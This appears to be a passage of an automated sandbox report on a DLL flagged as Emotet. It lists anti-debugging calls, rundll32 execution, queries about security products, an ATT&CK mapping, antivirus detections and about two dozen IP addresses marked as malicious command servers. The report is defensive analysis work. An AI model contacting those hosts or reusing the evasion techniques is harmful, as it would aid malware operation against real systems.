Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBBFE0 mov esi, dword ptr fs:[00000030h]	0_2_6EDBBFE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBBFE0 mov eax, dword ptr fs:[00000030h]	0_2_6EDBBFE0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC12CB mov ecx, dword ptr fs:[00000030h]	0_2_6EDC12CB
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC298C mov eax, dword ptr fs:[00000030h]	0_2_6EDC298C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_01074315 mov eax, dword ptr fs:[00000030h]	2_2_01074315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBC050 mov eax, dword ptr fs:[00000030h]	2_2_6EDBC050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBBFE0 mov esi, dword ptr fs:[00000030h]	2_2_6EDBBFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBBFE0 mov eax, dword ptr fs:[00000030h]	2_2_6EDBBFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC12CB mov ecx, dword ptr fs:[00000030h]	2_2_6EDC12CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC298C mov eax, dword ptr fs:[00000030h]	2_2_6EDC298C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_00DB4315 mov eax, dword ptr fs:[00000030h]	5_2_00DB4315

Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_007AE259 LdrInitializeThunk,

0_2_007AE259

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBCB22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6EDBCB22
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDBD1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6EDBD1CC
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDC29E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6EDC29E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBCB22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6EDBCB22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDBD1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6EDBD1CC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDC29E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6EDC29E6

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1456 -ip 1456	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 304	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 1456 -ip 1456	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 312	Jump to behavior

Source: loaddll32.exe, 00000000.00000000.567467606.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.568950962.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.596918132.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.598640462.0000000001430000.00000002.00020000.sdmp, rundll32.exe, 0000000E.00000002.662938655.00000000030F0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000000.567467606.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.568950962.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.596918132.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.598640462.0000000001430000.00000002.00020000.sdmp, rundll32.exe, 0000000E.00000002.662938655.00000000030F0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000000.567467606.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.568950962.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.596918132.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.598640462.0000000001430000.00000002.00020000.sdmp, rundll32.exe, 0000000E.00000002.662938655.00000000030F0000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: loaddll32.exe, 00000000.00000000.567467606.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.568950962.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.596918132.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.598640462.0000000001430000.00000002.00020000.sdmp, rundll32.exe, 0000000E.00000002.662938655.00000000030F0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: loaddll32.exe, 00000000.00000000.567467606.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.568950962.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.596918132.0000000001430000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.598640462.0000000001430000.00000002.00020000.sdmp, rundll32.exe, 0000000E.00000002.662938655.00000000030F0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDBCC44 cpuid

0_2_6EDBCC44

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDBCE15 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6EDBCE15

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: Amcache.hve.22.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: svchost.exe, 0000000C.00000002.661306381.000001F0AB03E000.00000004.00000001.sdmp	Binary or memory string: (@\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe
Source: svchost.exe, 0000000C.00000002.661514183.000001F0AB102000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.661194912.000001F0AB029000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ba0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.7a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1060000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.782138.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.d33b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.782138.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.da0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a2138.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.d33b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7a0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a2138.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.d13d58.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.ba0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.d33b80.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.d13d58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.566657802.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.567231949.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.597839039.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.596491370.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.564537877.000000000076A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.564875818.000000000328A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.568652514.00000000007A0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.643009162.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.596841009.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.526115475.0000000003368000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.564451857.0000000000650000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.598456484.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.543502348.0000000000BA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.568840979.0000000000D2C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.564446850.0000000000DA0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.543542843.0000000000CFA000.00000004.00000020.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	Process Injection12	Masquerading2	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	DLL Side-Loading1	Disable or Modify Tools1	LSASS Memory	Query Registry1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion3	Security Account Manager	Security Software Discovery61	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection12	NTDS	Virtualization/Sandbox Evasion3	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Hidden Files and Directories1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information2	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Rundll321	Proc Filesystem	System Information Discovery33	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	DLL Side-Loading1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	File Deletion1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mal2.dll	6%	Virustotal		Browse
mal2.dll	24%	ReversingLabs	Win32.Trojan.Midie

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.loaddll32.exe.7a0000.6.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
6.2.rundll32.exe.650000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.7a0000.9.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
2.2.rundll32.exe.1060000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
5.2.rundll32.exe.da0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.2.loaddll32.exe.7a0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.7a0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.7a0000.3.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
3.2.rundll32.exe.ba0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.ver)	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://%s.xboxlive.com/	0%	Avira URL Cloud	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000A.00000002.388943903.0000020B26E41000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 0000000A.00000003.387900433.0000020B26E69000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.388989382.0000020B26E6B000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000A.00000003.387943285.0000020B26E4D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.388970566.0000020B26E56000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388048361.0000020B26E50000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Traffic/Incidents/	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/enumeration/Enumerate	svchost.exe, 00000004.00000002.566413205.00000282128AF000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000004.00000002.567003860.0000028217E12000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000A.00000002.388958286.0000020B26E4A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387957781.0000020B26E49000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp	false		high
http://upx.sf.net	Amcache.hve.22.dr	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387943285.0000020B26E4D000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000A.00000002.388958286.0000020B26E4A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387957781.0000020B26E49000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000A.00000003.387936814.0000020B26E60000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000A.00000002.388983797.0000020B26E66000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000A.00000003.338514593.0000020B26E35000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388024416.0000020B26E3E000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000A.00000002.388958286.0000020B26E4A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387957781.0000020B26E49000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000A.00000002.388912529.0000020B26E13000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000A.00000003.387932456.0000020B26E63000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000A.00000002.388924782.0000020B26E29000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com/	svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://%s.dnet.xboxlive.com	svchost.exe, 00000007.00000002.661162395.00000227EB441000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000A.00000002.388951772.0000020B26E44000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.387983858.0000020B26E42000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.388012695.0000020B26E43000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000A.00000003.387943285.0000020B26E4D000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.154.133.20	unknown	France	12876	OnlineSASFR	true
212.237.17.99	unknown	Italy	31034	ARUBA-ASNIT	true
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
104.245.52.73	unknown	United States	63251	METRO-WIRELESSUS	true
138.185.72.26	unknown	Brazil	264343	EmpasoftLtdaMeBR	true
81.0.236.90	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
45.118.115.99	unknown	Indonesia	131717	IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
216.158.226.206	unknown	United States	19318	IS-AS-1US	true
107.182.225.142	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
45.118.135.203	unknown	Japan	63949	LINODE-APLinodeLLCUS	true
50.116.54.215	unknown	United States	63949	LINODE-APLinodeLLCUS	true
51.68.175.8	unknown	France	16276	OVHFR	true
103.8.26.102	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
46.55.222.11	unknown	Bulgaria	34841	BALCHIKNETBG	true
41.76.108.46	unknown	South Africa	327979	DIAMATRIXZA	true
103.8.26.103	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
178.79.147.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
212.237.5.209	unknown	Italy	31034	ARUBA-ASNIT	true
176.104.106.96	unknown	Serbia	198371	NINETRS	true
207.38.84.195	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
212.237.56.116	unknown	Italy	31034	ARUBA-ASNIT	true
